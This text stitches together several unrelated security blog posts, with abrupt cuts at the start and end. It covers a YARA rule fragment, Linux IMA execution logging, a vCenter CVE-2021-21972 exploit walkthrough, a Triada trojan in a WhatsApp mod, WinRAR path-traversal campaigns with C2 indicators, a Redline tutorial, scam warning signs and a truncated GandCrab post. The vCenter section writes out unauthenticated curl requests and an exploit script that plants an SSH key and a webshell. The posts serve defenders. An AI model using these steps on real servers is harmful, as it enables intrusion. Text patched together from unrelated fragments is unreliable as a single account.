\"Searching for PE files with PDB path keywords, terms or anomalies.\" sample_md5 = \"013f3bde3f1022b6cf3f2e541d19353c\" ref_blog = \"https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html\" strings: $pcre = /RSDS[\\x00-\\xFF]{20}[a-zA-Z]:\\\\[\\x00-\\xFF]{0,200}\\.pdb\\x00/ condition: (uint16(0) ==
0x5A4D) and uint32(uint32(0x3C)) =
=
0x00004550 and #pcre == 2 } Subscribe to Blogs Get email updates as new blog posts are added.
Gaining insight into the files being executed on your system is a great first step towards improved visibility on your endpoints.
Taking this a step further, centrally storing logs of file execution data so they can be used for detection and hunting provides an excellent opportunity to find evil on your network.
A SIEM, and to some degree your entire security monitoring program, is only as good as the data you are collecting.
Process execution data is incredibly valuable for enabling a multitude of detection and hunting scenarios, which means it’s something you should consider collecting and storing.
Customers of our Threat Analytics Platform (TAP) cloud-based SIEM solution frequently ask us about tools that can help them collect this type of file execution data.
For Windows systems, our detection team typically recommends the Sysinternals Sysmon tool since it provides excellent visibility into the type of files that are being executed on your Windows machines and both integrates and scales well when properly deployed.
In this post, I’m going to talk about a lesser-known feature of the Linux architecture called the Integrity Measurement Architecture (IMA).
When coupled with auditd, IMA will allow you to achieve on Linux hosts a similar executable logging capability as the Sysmon tool for Windows.
The Integrity Measurement Architecture is a component of the Linux kernel’s integrity subsystem.
For this post, we’re going to focus on a minimum baseline configuration and policy in order to get file execution logs into a format that can be ingested by your SIEM.
File execution logs are available in various forms and locations in Linux, but the logs we will be generating contain a wealth of data in one location that would otherwise need to be gathered from several disparate sources or may have not have been available at all.
First, you should familiarize yourself with documentation for your Linux distribution to verify whether the IMA kernel compilation options are enabled by default.
The IMA subsystem has been part of the mainline kernel since version 2.6.30, but not every distribution compiles their kernel with these options enabled.
All of the examples in this post were tested on Ubuntu 16.04.1 LTS, as the IMA kernel options are enabled by default in this distribution.
Instructions for compiling a kernel with these options enabled are listed in this Integrity Measurement Architecture documentation .
Documentation for auditd can be found here .
The reason we need the auditd daemon is because it is the userspace component for Linux’s auditing platform and it is responsible for writing all the resulting audit records to disk.
Without auditd, the logs for the events we will be generating would never get written out to disk.
The stated goals of the IMA subsystem are “to detect if files have been accidentally or maliciously altered, both remotely and locally, appraise a file’s measurement against a ‘good’ value stored as an extended attribute, and enforce local file integrity.”
To achieve these goals, IMA provides several functions, including: Collect – “measure” a file before it is accessed.
The term measurement in this context means to grab a hash of the file data, the hash of some file metadata and the file path, and then store this data in a runtime measurement list.
Store – add the measurement to a kernel resident list and, if a hardware Trusted Platform Module (TPM) is present, extend the IMA Platform Configuration Register (PCR).
TPM and PCR are part of an international standard for dedicated microcontrollers intended to secure hardware.
Attest – if present, use the TPM to sign the IMA PCR value to allow a remote validation of the measurement list.
Appraise – enforce local validation of a measurement against a “good” value stored in an extended attribute of the file.
Protect – protect a file’s security extended attributes (including appraisal hash) against off-line attack.
Collect & Store Part of the way the appraisal function validates a file is to calculate a hash value, which just determines how mathematically unique the file is, and compare this value against a stored “good” hash value.
The specific hash function that IMA uses is a configurable option.
Attest This is effective for locally ensuring integrity of an environment, but what if we also wanted to compare these measured hash values against a list of known bad file hashes through an external or internal blacklist?
It could also be the case that runtime integrity checking on every machine isn’t suitable for your environment.
Generating and storing these logs opens up the possibility for future investigation as well as centralized detection capabilities if your organization is ingesting these logs into a single repository.
Appraise We can utilize the auditing function of IMA to generate a log every time IMA measures an executable.
When an IMA policy is set to audit any executable and auditd is running, a log will be written containing metadata for each executable.
The simplest IMA policy we can write to log all executables looks like this: audit func=BPRM_CHECK mask=
MAY_EXEC There are several ways to apply this policy to IMA that are detailed in the IMA documentation.
Later versions of systemd will apply a custom policy located in “/etc/ima/ima-policy”.
Placing the single line policy set forth above in this file will cause systemd to apply this IMA policy to the system.
This version of systemd was included in Ubuntu 16.04.1.
It should be noted that the example policy is extremely broad and will result in a high volume of logs being generated, primarily by daemons – equivalent to a Windows service - performing routine tasks, such as systemd.
The policy can be further restricted by file magic values, UID, filesystem mask values and several others, as specified by the policy documentation .
This policy will produce audit INTEGRITY_RULE logs that look like this: This gives us several great pieces of information for searching and correlation in a SIEM: the path of the file that was executed (kaiten.bin) and the path of its parent (/bin/bash), the PID(8205) and parent PID(1943) of the executable, the SHA-1 hash value(48a3171d8f04c09f6d06362d4c4b995eaa97d489) of this file (or whatever hash value you configured IMA to use), and the UID, GID, etc., of the user that owned the process.
A quick check in VirusTotal of the hash supplied to us by IMA in this example shows that this is a variant of the Kaiten IoT bot .
Once you are generating logs with IMA and auditd, you can send them to your SIEM using your normal log ingestion process via something like syslog.
Now that you’re ingesting these logs into your SIEM, there are all sorts of detection and hunting scenarios available: Using rules and ingestion decoration services (services that add additional metadata to a log at ingestion time) to check hashes against internal and or external blacklists.
For example: o   VirusTotal o   Lists of hashes seen in public Linux honeypots o   Lists of samples seen in previous incidents Inspecting the path of the executable for abnormalities.
For example: o   Binaries named as system utilities executing from unusual locations (/opt/app/sudo, /home/foo/su)
o   Paths you wouldn’t expect to see with executable files (Executables in your web app’s image upload directory o   Binaries executing from hidden directories (/opt/.hidden/foo, /home/user/.hidden/bar)
Checking specific UIDs and GIDs for unusual execution.
For example: o   Web app user account attempting to use unusual utilities (top, netstat, su, etc.)
o   An account under an archive service group attempting to execute something out of /tmp
Checking specific parent executables and processes for unusual execution.
For example: o   Communication broker executing directory traversal commands o   Apache process executing netcat Configuration options for both IMA and auditd are extensive so, if this post is of interest to your organization, I highly recommend reading the documentation for both IMA and auditd
so they can be further customized to your needs.
This post isn’t meant to be an all-inclusive guide to IMA, but our hope is that it introduces you to this capability so that you can dive in and make it useful for improving your visibility into Linux process execution and aid you in finding more evil in your network.
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VMware vCenter Server is the centralized server management software for VMware, and is used to manage virtual machines, multiple ESXi hosts, and all dependent components from a single centralized location.
It is widely used by e nterpri s es for their production and testing of application servers both in their local networks as well as in their hybrid cloud infrastructure .
A r emote c ode e xecution v ulnerability has been recently reported in the vSphere client plugin of VMware vCenter server.
It is because of i mproper validation of directory paths in the uploaded tar archive ( OVA) .
This vulnerability has been assigned CVE-2021-21972.
More details about CVE-2021-2 1972 and various affected versions can be found at NVD .
In this blog, let’s take a close look at how this vulnerability works.
Vulnerability Details : In our lab, we hosted VMware vCenter 6.5 build 1 6374 022 t o recreate the attack scenari o .
Below are how the network details looks like while configuring the server : vCenter server details Below marked is the vulnerable vCenter server version : Vulnerable vCenter server Below marked is the vulnerable vCenter server build number : Vulnerable vCenter server build vSphere client is accessible through web browser : client access vSphere client plugin uses “/ ui / vropspluginui /rest/services/ uploadova ” endpoint to receive OVA files.
Once an OVA file is uploaded, t he request handler method uploadOvaFile implemented in com/ vmware / vropspluginui / mvc / ServicesController .java extracts non-directory file objects from OVA to “ / tmp / unicorn_ova_dir ” folder .
It parse s the f ile name from the file object header and concatenat es the extracted path to the base path without checking the f ile name for directory traversal characters such as “..”.
As a result, attackers can upload malicious files to their intended locations.
Although the “/ ui / vropspluginui /rest/services/ uploadova ” endpoint is supposed to be accessed only by an authenticated user, we could see that it is accessible without authentication as well.
Therefore , it is combination of authentication bypass and directory traversal.
We demonstrate this with below steps: Create a dummy test file-based archive: test file archive Upload the file to vulnerable server without authentication : file upload to the server Verify the uploaded test file: verifying the uploaded test file Remote Code Execution : To exploit the server, we try to do the following: Validate whether the server is vulnerable or not.
If  yes, u pload a customized payload with public key or w ebshell in it.
Get reverse shell by connecting from attacker machine .
Get webshell by entering the w ebshell address on attacke r machine.
V alidate th e vulnerability by sending below quer y to the server : $ curl – i -s -k $’https://192.168.2.143/ui/vropspluginui/rest/services/getstatus’ query to validate the server Even with an unauthorized request to / ui / vropspluginui /rest/services/
*, the server responds with 200 OK.
We can see that GET is not allowed, POST is allowed: $ curl – i -s -k $’https://192.168.2.143/ui/vropspluginui/rest/services/uploadova’ POST request allowed This is validated by sending the same request with POST method .
$ curl – i -s -k -X $’POST’ $’https://192.168.2.143/ui/vropspluginui/rest/services/uploadova’ POST request In th e above response, it is looking for the ‘ uploadFile ’ parameter in the POST request.
It means, vCenter is ready to accept the file as input .
T o get the shell of the vCenter, we should get access to SSH service .
It is using the ‘ vsphere-ui ’ user access permissions while uploading the file .
Since it accepts the file upload, we can generate public key on the a ttacker machine and upload it to vCenter Server ’s ‘ vsphere-ui ’ user SSH direct or y and try to connect to the server via SSH using the private key , then we can achieve the shell of the vCenter server.
This is how it goes: Let’s verify the SSH service is running or not, checking port 22
It is running SSH service.
So, we can proceed further and generate public key on a ttacker machine.
W e will generate the k ey pair : generating the key pair U pload the public key and exploit ed the vulnerability.
$ python3 vmwarevcenterserver70-upload.py -u https://192.168.2.143 -f /home/
natraj /.
ssh /id_rsa.pub
getting the shell of the server Uploading the public key to vCenter server: captured file upload request Response from vCenter server: response from vCenter server Verifying the public key: verifying the uploaded public key This is how we reach the shell o n the vCenter server.
With this user connected , an attacker can copy any files to the victim machine and execute them.
We can even exploit this vulnerability and use w ebshell as payload.
$ python3 vmwarevcenterserver70-upload.py -u https://192.168.2.143 -f webrce.jsp -t webshell webshell uploaded Verified the user, webshell verified.
Remediation and Conclusion: Juniper Networks’ NGFW SRX customers with an IDP license are protected against compromise of this vulnerability using the signature: HTTP:
CTS:VMWARE-VCENTER-RCE
This signature was released immediately on 26th Feb 2021 with Out-of-Band Export #3359 and is part of the recommended template.
At the same time, those affected by CVE-2021- 21972 should upgrade the vCenter server to the latest version, as advised by the vendor.
We recently discovered that a version of popular WhatsApp mod FMWhatsApp includes an embedded Trojan.
The Trojan, called Triada, downloads other malware to users’ devices.
Here’s how it happened and why using modified versions of WhatsApp is dangerous.
Why use WhatsApp mods?
Not all users are happy with the official WhatsApp app.
Some may feel a need for self-destructing messages or, conversely, the ability to view messages another user deleted.
Others are after dynamic themes, and still others want to hide certain chats from the general list or automatically translate messages.
Naturally, they want these features right away, not when WhatsApp’s developers finally get around to implementing them.
As a result, some users turn to the modified WhatsApp clients available online, which are fairly numerous and not hard to find.
Fans of mods are not deterred even by WhatsApp’s occasional crackdown on such modifications or the threat of account bans.
The creators of WhatsApp mods often embed ads in them — understandably — along with the features users are looking for.
Problems arise, however, from their use of third-party ad modules through which malicious code can sneak in under developers’ radar.
Triada et al.
in the FMWhatsApp mod
That’s precisely what happened with FMWhatsApp, a popular WhatsApp mod.
In version 16.80.0 the developers use third-party ad module that includes a Trojan.
Our mobile antivirus solution detects this malware as Trojan.
AndroidOS.Triada.ef.
We saw a similar situation in the spring of 2021 with the APKPure unofficial app store, whose developers also used an ad module from an unverified source, thereby infecting their creation , and consequently users, with the Triada Trojan (albeit a slightly different version).
As in the case of the infected APKPure, the Triada Trojan in the dangerous version of the FMWhatsApp mod performs an intermediary function.
First, it collects data about the user’s device, and then, depending on the information, it downloads another Trojan.
Triada’s “extras” come in a variety of flavors — the infected version of FMWhatsApp downloads several types of malware to devices: Trojan-Downloader.
AndroidOS.Agent.ic, a Trojan that downloads and runs other malicious modules; Trojan-Downloader.
AndroidOS.Gapac.e, which downloads and runs other malicious modules and can also display full-screen ads at unexpected moments; Trojan-Downloader.
AndroidOS.Helper.a, which downloads and runs the installer module of the xHelper Trojan and runs invisible ads in the background; Trojan.
AndroidOS.MobOk.i, a Trojan that signs up for paid subscriptions; Trojan.
AndroidOS.Subscriber.l, another Trojan that signs up for paid subscriptions; Trojan.
AndroidOS.Whatreg.b, the most complex Trojan in the list, signs in to the WhatsApp account on the victim’s phone, intercepting the login confirmation text.
The device can then become a site for various types of illegal activity such as spam distribution or illegal trading.
Our Securelist post delves more into the FMWhatsapp mod’s Triada Trojan.
How to defend against such attacks Practicing caution and using your device safely is key to keeping malware and other mobile nasties off your phone.
Generally speaking, follow these tips to avoid trouble:
Avoid installing apps from unofficial sources and use your device’s settings to deny permission to install them.
(If you need to install an app not from an official store, temporarily enable that permission and then disable it again); Use only official messaging apps, and download them only from official app stores — they may lack some features, but will not flood your phone with viruses; Check what permissions you’ve granted to installed apps — some might pose a real threat ; Install a reliable mobile antivirus app on your phone, and heed its warnings.
WinRAR, an over 20-year-old file archival utility used by over 500 million users worldwide, recently acknowledged a long-standing vulnerability in its code-base.
A recently published path traversal zero-day vulnerability, disclosed in CVE-2018-20250 by Check Point Research , enables attackers to specify arbitrary destinations during file extraction of ‘ACE’ formatted files, regardless of user input.
Attackers can easily achieve persistence and code execution by creating malicious archives that extract files to sensitive locations, like the Windows “Startup” Start Menu folder.
While this vulnerability has been fixed in the latest version of WinRAR (5.70), WinRAR itself does not contain auto-update features, increasing the likelihood that many existing users remain running out-of-date versions.
FireEye has observed multiple campaigns leveraging this vulnerability, in addition to those already discussed by 360 Threat Intelligence Center .
Below we will look into some campaigns we came across that used customized and interesting decoy documents with a variety of payloads including ones which we have not seen before and the ones that used off-the-shelf tools like PowerShell Empire.
Campaign 1: Impersonating an Educational Accreditation Council Infection Vector When the ACE file Scan_Letter_of_Approval.rar is extracted with vulnerable WinRAR versions lower than 5.70, it creates a file named winSrvHost.vbs in the Windows Startup folder without the user’s consent.
The VBScript file is executed the next time Windows starts up.
Decoy Document To avoid user suspicion, the ACE file contains a decoy document, “Letter of Approval.pdf”, which purports to be from CSWE, the Council on Social Work Education as shown in Figure 1.
This seems to be copied from CSWE website.
Figure 1: Decoy document impersonating CSWE VBS Backdoor The VBS file in the Startup folder will be executed by wscript.exe when Windows starts up.
The VBS code first derives an ID for the victim using custom logic based on a combination of the ComputerName, Processor_identifier and Username.
It obtains these from environment strings, as shown in Figure 2.
Figure 2:
Deriving victim ID
Interestingly, the backdoor communicates with the command and control (C2) server using the value of the Authorization HTTP header using the code in Figure 3.
Figure 3: Base64-encoded data in Authorization header The VBS backdoor first sends the base64-encoded data, including the victim ID and the ComputerName, using the code in Figure 4.
Figure 4: Base64-encoded victim data It then extracts the base64-encoded data in the Authorization header of the HTTP response from the C2 server and decodes it.
The decoded data starts with the instruction code from the C2 server, followed with additional parameters.
C2 Communication
The malware reaches out to the C2 server at 185[.
]162.131.92 via an HTTP request.
Actual communication is via the Authorization field, as shown in Figure 5.
Figure 5: Communication via Authorization field
Upon decoding the value of the Authorization field, it can be seen that the malware is sending the Victim ID and the computer name to the C2 server.
The C2 server responds with the commands in the value of the Authorization HTTP header, as shown in Figure 6.
Figure 6: C2 commands in Authorization field
Upon decoding, the commands are found to be “ok ok”, which we believe is the default C2 command.
After some C2 communication, the C2 server responded with instructions to download the payload from hxxp://185.49.71[.
]101/i/pwi_crs.exe, which is a Netwire RAT.
Commands Supported by VBS Backdoor Command Explanation d Delete the VBS file and exit process
Pr Download a file from a URL and execute it
Hw Get hardware info av Look for antivirus installed from a predefined list.
Indicators File Name Hash/IP Address Scan_Letter_of_Approval.rar 8e067e4cda99299b0bf2481cc1fd8e12
winSrvHost.vbs
3aabc9767d02c75ef44df6305bc6a41f Letter of Approval.pdf dc63d5affde0db95128dac52f9d19578 pwi_crs.exe 12def981952667740eb06ee91168e643 C2 185[.
]162.131.92 Netwire C2 89[.
]34.111.113 Campaign 2: Attack on Israeli Military Industry Infection Vector Based on the email uploaded to VirusTotal, the attacker seems to send a spoofed email to the victim with an ACE file named SysAid-Documentation.rar as an attachment.
Based on the VirusTotal uploader and the email headers, we believe this is an attack on an Israeli military company.
Decoy Files
The ACE file contains decoy files related to documentation for SysAid, a help desk service based in Israel.
These files are shown as they would be displayed in WinRAR in Figure 7.
Figure 7: Decoy files Thumbs.db.lnk
This LNK file target is ‘C:\\Users\\john\\Desktop\\100m.bat’.
But when we look at the icon location using a LNK parser, as shown in Figure 8, it points to an icon remotely hosted on one of the C2 servers, which can be used to steal NTLM hashes.
Figure 8:
LNK parser output SappyCache Analysis Upon extraction, WinRAR copies a previously unknown payload we call SappyCache to the Startup folder with the file name ‘ekrnview.exe’.
The payload is executed the next time Windows starts up.
SappyCache tries to fetch the next-stage payload using three approaches: 1) Decrypting a File: The malware tries to read the file at %temp%\\..\\GuiCache.db.
If it is successful, it tries to decrypt it using RC4 to get the C2 URLs, as shown in Figure 9.
Figure 9: Decrypting file at GuiCache.db 2) Decrypting a Resource: If it is not successful in retrieving the C2 URL using the previous method, the malware tries to retrieve the encrypted C2 URLs from a resource section, as shown in Figure 10.
If it is successful, it will decrypt the C2 URLs using RC4.
Figure 10: Decrypting a resource 3)
Retrieving From C2:
If it is not successful in retrieving the C2 URLs using those previous two methods, the malware tries to retrieve the payload from four different hardcoded URLs mentioned in the indicators.
The malware creates the HTTP request using the following information: Computer Name, retrieved using the GetComputerNameA function, as the HTTP parameter ‘name’ (Figure 11).
Figure 11:
Retrieving computer name using GetComputerNameA Windows operating system name, retrieved by querying the ProductName value from the registry key SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion, as the HTTP parameter ‘key’ (Figure 12).
Figure 12:
Retrieving Windows OS name using ProductName value The module name of the malware, retrieved using the GetModuleFileNameA function, as the HTTP parameter ‘page’ (Figure 13).
Figure 13:
Retrieving malware module name using using GetModuleFileNameA
The list of processes and their module names, retrieved using the Process32First and Module32First APIs, as the HTTP parameter ‘session_data’ (Figure 14).
Figure 14:
Retrieving processes and modules using Process32First and Module32First A fragment of the HTTP request that is built with the information gathered is shown in Figure 15.
Figure 15: HTTP request fragment If any of the aforementioned methods is successful, the malware tries to execute the decrypted payload.
During our analysis, the C2 server did not respond with a next-level payload.
Indicators File Name/Type Hash/URL SysAid-Documentation.rar
062801f6fdbda4dd67b77834c62e82a4 SysAid-Documentation.rar 49419d84076b13e96540fdd911f1c2f0 ekrnview.exe 96986B18A8470F4020EA78DF0B3DB7D4 Thumbs.db.lnk 31718d7b9b3261688688bdc4e026db99 URL1 www.alahbabgroup[.
]com/bakala/verify.php
URL2 103.225.168[.
]159/admin/verify.php
URL3 www.khuyay[.
]org/odin_backup/public/loggoff.php URL4 47.91.56[.
]21/verify.php
Email 8c93e024fc194f520e4e72e761c0942d Campaign 3: Potential Attack in Ukraine with Empire Backdoor Infection Vector
The ACE file named zakon.rar is propagated using a malicious URL mentioned in the indicators.
360 Threat Intelligence Center has also encountered this campaign.
Decoy Documents The ACE file contains a file named Ukraine.pdf, which contains a message on the law of Ukraine about public-private partnerships that purports to be a message from Viktor Yanukovych, former president of Ukraine (Figure 16 and Figure 17).
Figure 16: Ukraine.pdf decoy file Figure 17:
Contents of decoy file Based on the decoy PDF name, the decoy PDF content and the VirusTotal uploader, we believe this is an attack on an individual in Ukraine.
Empire Backdoor When the file contents are extracted, WinRAR drops a .bat file named mssconf.bat in the Startup folder.
The batch file contains commands that invoke base64-encoded PowerShell commands.
After decoding, the PowerShell commands invoked are found to be the Empire backdoor, as shown in Figure 18.
We did not observe any additional payloads at the time of analysis.
Figure 18: Empire backdoor Indicators File Name/URL Hash/URL zakon.rar 9b19753369b6ed1187159b95fc8a81cd mssconf.bat 79B53B4555C1FB39BA3C7B8CE9A4287E C2 31.148.220[.
]53 URL http://tiny-share[.
]com
/direct/7dae2d144dae4447a152bef586520ef8 Campaign 4: Credential and Credit Card Dumps as Decoys Decoy Documents
This campaign uses credential dumps and likely stolen credit card dumps as decoy documents to distribute different types of RATs and password stealers.
One file, ‘leaks copy.rar’, used text files that contained stolen email IDs and passwords as decoys.
These files are shown as they would be displayed in WinRAR in Figure 19.
Figure 19: Text files containing stolen email credentials as decoy Another file, ‘cc.rar’, used a text file containing stolen credit card details as a decoy.
The file as it would be displayed in WinRAR and sample contents of the decoy file are shown in Figure 20.
Figure 20:
Text file containing stolen credit card details as decoy Payloads
This campaign used payloads from different malware families.
To keep the draft concise, we did not include the analysis of all of them.
The decompilation of one of the payloads with hash 1BA398B0A14328B9604EEB5EBF139B40 shows keylogging capabilities (Figure 21).
We later identified this sample as QuasarRAT.
Figure 21:
Keylogging capabilities The decompilation of all the .NET-based payload shows that much of the code is written in Chinese.
The decompilation of malware with hash BCC49643833A4D8545ED4145FB6FDFD2 containing Chinese text is shown in Figure 22.
We later identified this sample as Buzy.
Figure 22:
Code written in Chinese
The other payloads also have similar keylogging, password stealing and standard RAT capabilities.
The VirusTotal submissions show the use of different malware families in this campaign and a wide range of targeting.
Hashes of ACE Files File Name Hash leaks copy.rar e9815dfb90776ab449539a2be7c16de5 cc.rar 9b81b3174c9b699f594d725cf89ffaa4 zabugor.rar 914ac7ecf2557d5836f26a151c1b9b62 zabugorV.rar eca09fe8dcbc9d1c097277f2b3ef1081 Combolist.rar 1f5fa51ac9517d70f136e187d45f69de Nulled2019.rar f36404fb24a640b40e2d43c72c18e66b IT.rar 0f56b04a4e9a0df94c7f89c1bccf830c Hashes of Payloads File name Hash Malware Family explorer.exe 1BA398B0A14328B9604EEB5EBF139B40 QuasarRAT explorer.exe AAC00312A961E81C4AF4664C49B4A2B2 Azorult
IntelAudio.exe 2961C52F04B7FDF7CCF6C01AC259D767
Netwire Discord.exe 97D74671D0489071BAA21F38F456EB74 Razy Discord.exe BCC49643833A4D8545ED4145FB6FDFD2 Buzy old.exe 119A0FD733BC1A013B0D4399112B8626
Azorult FireEye Detection FireEye detection names for the indicators in the attack:
FireEye Endpoint Security IOC: WINRAR (EXPLOIT) MG:
Generic.mg AV: Exploit.
ACE-PathTraversal.
Gen Exploit.
Agent.
UZ Exploit.
Agent.
VA Gen:Heur.BZC.ONG.Boxter.91.1305E319
Gen:Variant.
Buzy.2604 Gen:Variant.
Razy.472302
Generic.
MSIL.PasswordStealerA.5CBD94BB Trojan.
Agent.
DPAS Trojan.
GenericKD.31783690 Trojan.
GenericKD.31804183 FireEye Network Security FE_Exploit_ACE_CVE201820250_2 FE_Exploit_ACE_CVE201820250_1 Backdoor.
EMPIRE Downloader.
EMPIRE Trojan.
Win.
Azorult Trojan.
Netwire FireEye Email Security FE_Exploit_ACE_CVE201820250_2 FE_Exploit_ACE_CVE201820250_1 FE_Backdoor_QUASARRAT_A
FE_Backdoor_EMPIRE Conclusion We have seen how various threat actors are abusing the recently disclosed WinRAR vulnerability using customized decoys and payloads, and by using different propagation techniques such as email and URL.
Because of the huge WinRAR customer-base, lack of auto-update feature and the ease of exploitation of this vulnerability, we believe this will be used by more threat actors in the upcoming days.
Traditional AV solutions will have a hard time providing proactive zero-day detection for unknown malware families.
FireEye MalwareGuard , a component of FireEye Endpoint Security, detects and blocks all the PE executables mentioned in this blog post using machine learning.
It’s also worth noting that this vulnerability allows the malicious ACE file to write a payload to any path if WinRAR has sufficient permissions, so although the exploits that we have seen so far chose to write the payload to startup folder, a more involved threat actor can come up with a different file path to achieve code execution so that any behavior based rules looking for WinRAR writing to the startup folder can be bypassed.
Enterprises should consider blocking vulnerable WinRAR versions and mandate updating WinRAR to the latest version.
FireEye Endpoint Security, FireEye Network Security and FireEye Email Security detect and block these campaigns at several stages of the attack chain.
Acknowledgement Special thanks to Jacob Thompson, Jonathan Leathery and John Miller for their valuable feedback on this blog post.
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With the recent integration of Mandiant Web Historian™ into Mandiant Redline™ , you may be asking \"How do I review my Web History using Redline?\
" If so, then follow along as I explain how to collect and review web history data in Redline - with a focus on areas where the workflow and features differ from that of Web Historian.
For those of you unfamiliar with Redline, it is Mandiant's premier free tool, providing host investigative capabilities to help users find signs of malicious activity through memory and file analysis and the development of a threat assessment profile.
Configuring Web History Data Collection Web Historian provided three options for choosing how to find web history data that you want to analyze: scan my local system, scan a profile folder, and parse an individual history file.
Redline allows you to accomplish all three of these operations using a single option, Analyze this Computer , which is found under the Main Menu in the upper left corner.
Specifying the path to a profile folder or a history file will require some additional configuration:
Figure 1: Finding your web history data Web Historian (Left) vs. Redline (Right)
Click on Analyze this Computer to begin configuring your analysis session.
To ensure that Redline collects your desired web history data, click the link to Edit your script .
On the View and Edit Your Script window are several options; take a look around and turn on any and all data that might interest you.
For our purposes, we will be focusing on the Browser History options underneath the Network tab.
This section contains all of the familiar options from Web Historian; simply select the boxes corresponding to the data you wish to collect.
One difference you may notice is the absence of an option to specify the browser(s)
you would like to target.
You can now find that option by selecting Show Advanced Parameters from the upper right corner of the window.
Once advanced parameters are enabled, simply type the name of any browser(s)
you would like to target, each on its own separate line in the Target Browser field.
To have Redline collect any web history data regardless of browser, just leave this field empty.
You may also notice that enabling advanced parameters activates a field for History Files Location .
As you may have guessed, this is where you can specify a path to a profile folder or history file to analyze directly, as you were able to do in Web Historian.
Figure 2:
Configuring Redline to Collect Browser History Data Now that you have finished configuring your script, choose a location to save your analysis session and then hit OK .
Redline will run the script, which will require Administrator privileges and may trigger a UAC prompt before running depending on how your system is configured.
After a brief collecting and processing time, your web history data will be ready for review.
Reviewing your Data For the actual review of your web history data, you should feel right at home in Redline.
Just like Web Historian, Redline uses a sortable, searchable, configurable table view for each of the individual categories of web history data.
Figure 3: Displaying your web history data for review in both Web Historian (behind) and Redline (front)
Although similar, Redline does have a few minor differences in how it visualizes your data: Redline does not break the data into pages; instead it will discretely page in large data sets (25k+ rows) automatically as you scroll down through the list.
To configure the table view, you will need to manipulate the column headers for ordering and resizing, and right-click on a column header to show and hide columns - as opposed to using the column configuration menu in Web Historian.
Searching and simple filtering is done in each individual table view and is not applied globally.
To access the find options, either press the magnifying glass in the bottom right corner, or press Ctrl-f while a table view is selected.
To export your data to a CSV (comma separated values) format file, click on export in the bottom right corner.
Like Web Historian, Redline will only export data currently in the table view.
If you applied any filtering or tags, those will affect the data as it is exported.
In addition to the features that have always been available in Web Historian, Redline also allows you to review your web history with its full suite of analytical capabilities and investigative tools.
Check out the Redline user guide for a full description of these capabilities.
Here are just a few of the most popular: Timeline provides a chronological listing of all web-based events (e.g., URL last browsed to, File Download Started, etc.)
in a single heterogeneous display.
You can employ this to follow the activities of a user or attacker as they played out on the system.
You can also quickly reduce your target investigative scope using the Timeline's powerful filtering capabilities.
Use tags and comments to mark-up your findings as you perform your investigation, making it easier to keep track of what you have seen while moving forward.
You can then go back and export those results into your favorite reporting solution.
Use Indicators of Compromise (IOCs) as a quick way to determine if your system contains any potential security breaches or other evidence of compromise.
Visit http://www.openioc.org/ to learn more about IOCs.
Last but not least, Redline gives you the ability to examine an entire system worth of metadata.
With Redline, you are not simply restricted to Web History related data; you can investigate security incidents with the scope and context of the full system.
If your favorite feature from Web Historian has not yet been included in Redline (Graphing, Complex Filtering, etc.
), feel free to make a request using one of the contact methods specified below.
We will be taking feedback into consideration when choosing what the Redline team works on in the future.
As always, feel free to contact us with send any additional questions.
And just in case you do not already have it, the latest version of Redline (v1.10 as of the time of this writing) can always be found here .
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No one — gamer , cryptocurrency investor , or online shopper — is safe from scammers.
But no matter who the victim is or how sophisticated the scheme may be, there is always a way to sniff out fraud before it’s too late.
Today we’re looking at five common signs of online scams to help you avoid danger.
1.
Stick or carrot Scammers often play on greed or fear.
In the first case, they promise a potential victim the moon and the stars — for example, a large government payout or free cryptocurrency .
The second involves intimidation, such as a threat to send a video of the victim watching porn to all of their contacts or to ruin the reputation of their company’s website .
In both cases, cybercriminals are trying to short-circuit their victim’s ability to respond rationally.
If, after reading such an e-mail, you feel inclined to do exactly what the sender asks (follow a link, send money, call a number, etc.
), that’s actually a warning sign.
Take a deep breath and read the message again.
Most likely, you’ll see it for what it is — a trick.
2.
Ticking clock If emotionally charged situations can cause people to lose the power of critical thinking, then being in a hurry only heightens the problem.
Scammers exploit that as well, for example by setting tight deadlines.
If a message says you have only a couple of days, hours, or even minutes to claim a prize or buy sought-after equipment before it sells out, again, it’s probably a scam.
3.
Amateurish design Obvious errors in the message are another red flag.
Some may be intentional misspellings or substitution of letters with similar-looking numbers or optical counterparts from other alphabets so as to fool spam filters .
In some cases, the sender might simply be illiterate, which is not uncommon among scammers, as opposed to employees of respectable organizations.
Whatever the reason for the typos, promises of “0ne мilIion d0llars” are a sure sign of danger.
4.
Searching the database When a potential victim goes to a fraudulent website from an e-mail or chat message, the scammers usually try to draw them in through a series of simple tasks.
They might involve taking a short survey or selecting a number of boxes supposedly containing prizes, for example.
Quite often, the victim is shown an animation supposedly indicating a database search (for their prizewinning status, for example) or asked to fill out a form.
Sometimes they might be invited to read (fake) reviews or comments from “past winners.”
More recently, we’ve seen chats with a bot posing as a lawyer, consultant, or support employee.
Regardless of the details, the overall purpose is simple and clear: Getting the person to invest a bit of time and effort keeps them on the page, and the more invested they feel, the less likely they are to close the page when it asks for payment, which it certainly will.
Feel like a website promising a big payday is playing for time?
Probably not a good sign.
5.
Small fee Another favorite trick after hooking a victim is to request a small fee , a transfer for card verification purposes or payment for registration in some database.
Without it, the scammers insist, it will not be possible to receive the promised reward.
The asked-for amount is usually quite small and insignificant against the prospect of untold riches, and may even come with an assurance of payback at a later date.
This fee is the first thing that gets stolen, of course.
There will be no prize, only the likelihood of losing even more after sharing credit card details with the scammers.
To be continued Cybercriminals are constantly inventing new ways to monetize your trust and weaknesses.
Simply by looking for these five red flags, you can avoid falling prey to most scams.
We will, of course, continue to keep you posted on how to protect yourself, your data, and your money from intruders.
By Alexandre Mundo , John Fokker and Thomas Roccia on Oct 10, 2018 The GandCrab ransomware, which first appeared in January, has been updated rapidly during its short life, with Version 5.0.2 appearing this month.
In this post we will examine the latest version and how the authors have improved the code (and in some cases have made mistakes).
McAfee gateway and endpoint products are able to protect customers from known variants of this threat.
The GandCrab authors have moved quickly to improve the code and have added comments to provoke the security community, law enforcement agencies, and the NoMoreRansom organization.
Despite the agile approach of the developers, the coding is not professional and bugs usually remain in the malware (even in Version 5.0.2), but the speed of change is impressive and increases the difficulty of combating it.
The group behind GandCrab has achieved cult status in underground forums; the authors are undoubtedly confident and have strong marketing skills, but flawless programming is not one of their strengths.
Underground alliances On September 27, the GandCrab crew announced Version 5 with the same showmanship as its earlier versions.
GandCrab ransomware has gained a lot of attention from security researchers as well as the underground.
